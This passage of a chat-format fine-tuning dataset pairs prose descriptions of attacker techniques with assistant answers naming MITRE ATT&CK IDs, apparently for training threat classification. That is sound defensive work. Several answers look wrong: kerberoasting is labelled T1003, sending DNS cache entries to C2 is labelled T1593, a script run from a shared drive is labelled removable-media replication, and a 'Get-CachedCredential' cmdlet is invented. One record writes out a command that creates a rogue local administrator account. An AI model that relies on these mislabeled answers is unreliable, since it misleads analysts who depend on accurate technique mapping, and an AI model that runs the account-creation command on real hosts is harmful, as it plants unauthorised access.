                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries inject fake AV warnings into the security console to mask the presence of their malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes a reverse tunnel through a cloud-based remote troubleshooting tool, allowing the attacker to command the infected host remotely."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑intruder leverages the Linux \"fwupd\" tool to enumerate installed firmware components on the infected device."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a misconfiguration in the hybrid identity bridge to replace legitimate user credentials with backdoored accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor employs \"Living off the Land\" binaries like \"cmd.exe\" and \"rundll32.exe\" to perform malicious actions without introducing new executables."
            },
            {
                "role": "assistant",
                "content": "T1218 - System Binary Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the extra window memory of a legitimate application to store and execute malicious code, bypassing standard DLL injection defenses."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged a compromised router to gain remote code execution on the DNS server."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the Windows command 'ipconfig /all' to enumerate all network interfaces and their configurations."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised external server to stage data before it is downloaded."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the authentication flow by dropping a malicious password filter library that records plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a malicious Windows Server and promotes it to a domain controller to harvest credentials from clients on the network."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a credential dumping tool, the group obtained service account passwords and used them to modify DNS zone configurations."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set utilizes a compromised SharePoint site to upload a PowerShell script that establishes persistence."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through exploiting a known CVE in a privileged daemon, the attacker executes code that harvests and exfiltrates authentication tokens from the system."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker initiates a continuous stream of ICMP echo requests to a network device's management interface, overwhelming its processing capacity and causing denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group hides a PowerShell backdoor within the metadata of a video file, decoding it after the video is played."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed JScript code that was minified and then encoded with JavaScript's escape() function before being executed via Windows Script Host."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exploits a misconfigured OAuth application to obtain refresh tokens, allowing them to read and send email from compromised accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a vulnerable CI/CD pipeline to inject malicious code that harvested cloud service API keys at build time."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a tool, the intruder duplicates a Kerberos service ticket and replays it against a privileged service to bypass authentication."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the net localgroup command to list all local groups on a compromised Windows host."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used PowerShell to run Get-GPOReport on the domain controller, extracting all Group Policy Objects to identify security settings."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script runs 'gzip' on a batch of log files to reduce size before exfiltrating them."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved replacing the Android boot image (boot.img) with a custom version containing spyware."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit creates an encrypted channel by encrypting data with the victim’s public certificate."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operation includes a self-destruct routine that zeroes out free space and then overwrites remaining sectors."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts Kerberos tickets from memory using the \"kerberoast\" technique to later crack them offline."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a batch file that runs \"net user malicious_user /add\" and adds it to the Administrators group on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool calls 'podman ps' to discover containers and their command lines."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan queries the system's DNS cache and sends the recent domain queries to C2."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a trusted code‑signing certificate obtained from a third‑party vendor’s compromised account to sign a phishing attachment that bypassed email security filters."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware alters the BCD store to set the safeboot option, allowing the threat to operate with reduced defenses."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvested NTLM password hashes from the Windows registry and used them to authenticate to a file share, effectively performing a Pass the Hash attack."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors craft a file‑wiper that securely deletes user data after exfiltrating sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reuses stolen domain user credentials to log into multiple workstations across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gaining administrative access to a DNS server enables the attacker to issue unauthorized DNS updates."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary transfers stolen research data onto a corporate‑issued USB stick and exits the premises."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages systemd's ability to run scripts at boot by creating a drop-in file that overrides the ExecStart command."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages Shodan to discover internet‑exposed services running on the victim’s domain name."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script iterates over storage bucket contents via the S3 API, exposing hidden backups."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor stores its command-and-control configuration inside the extended attributes of a PDF, using resource forks to conceal it."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the Authenticode signature of a benign system utility, making the signature invalid, to trick security tools into treating it as legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries base64‑encode stolen files before exfiltration to evade detection by data loss prevention tools."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker accesses publicly exposed CDN configuration files to enumerate origin servers and associated IP ranges."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers run a PowerShell script that extracts domain account information via the Get-ADUser cmdlet to identify privileged users."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware silently mines Bitcoin in the background of infected workstations, using the system's processing power."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder searches for leftover bash history entries that contain sudo passwords and other sensitive data, then exfiltrates the .bash_history file."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script exploits DDE by embedding a link in a Word document that triggers a remote command when opened."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates active network connections on the victim host using tools like netstat."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A counterfeit driver installer is offered on a rogue website; the user downloads and runs the installer, which installs a malicious driver that executes code in kernel mode."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a virtual private server to evade detection and stage phishing URLs."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved authenticating to Confluence and using the REST endpoint /rest/api/content to harvest confidential meeting notes."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT utilizes FTP to transfer stolen files to an external server under the guise of legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a man-in-the-middle tool, the threat actor hijacks the SSH channel of a logged-in user to run unauthorized commands."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell to invoke Get-CachedCredential cmdlet, pulling stored domain credentials from the local cache."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Windows Restart Manager, the malicious code registers itself to be relaunched automatically after the system restarts."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injected malicious claims into the authentication token issued by Azure AD, leveraging weak claim validation in the hybrid environment."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modified an Azure AD group to include the attacker’s user, effectively granting them elevated cloud permissions."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrated proprietary code by copying it to an external SSD and physically removing it from the facility."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors locate and copy SSH private key files from user profiles to use for unauthorized login."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies file timestamps to make newly created malicious files appear older."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes a malicious PowerShell script via a shared drive and executes it on multiple workstations."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code creates a custom registry value \"SavedCreds\" under HKLM\\\\Software\\\\MyApp and writes base64‑encoded credentials there."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers execute the Windows built‑in compact.exe tool to compress harvested data into a CAB file."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ WMI queries to extract BIOS serial number and hardware model from the target machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate Group Policy to set the startup type of the \"EventLog\" service to \"Disabled\", halting event logging."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exfiltrated private keys and associated digital certificates from a Windows Certificate Store to sign their payloads."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use the 'zip' command with -r flag to recursively archive harvested data before sending it out."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a malicious Outlook Form Region that is automatically loaded when Outlook starts, allowing code execution on user launch."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages the built‑in Remote Desktop Protocol to create a reverse tunnel, allowing the attacker to bypass firewall restrictions."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script generates domain names using a dictionary of common English words concatenated with random numbers, then attempts DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the /etc/rc.d/rc.local script to ensure a malicious service starts automatically at boot."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor leverages SSL/TLS to encrypt exfiltrated data before transmission."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors infiltrated a CI/CD pipeline of a software vendor, inserting malicious binaries that were signed and distributed to customers."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion adds a forwarding rule to the victim’s Gmail account, causing all new messages to be sent to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a compromised Azure AD account to sync SharePoint library contents to an external storage location."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
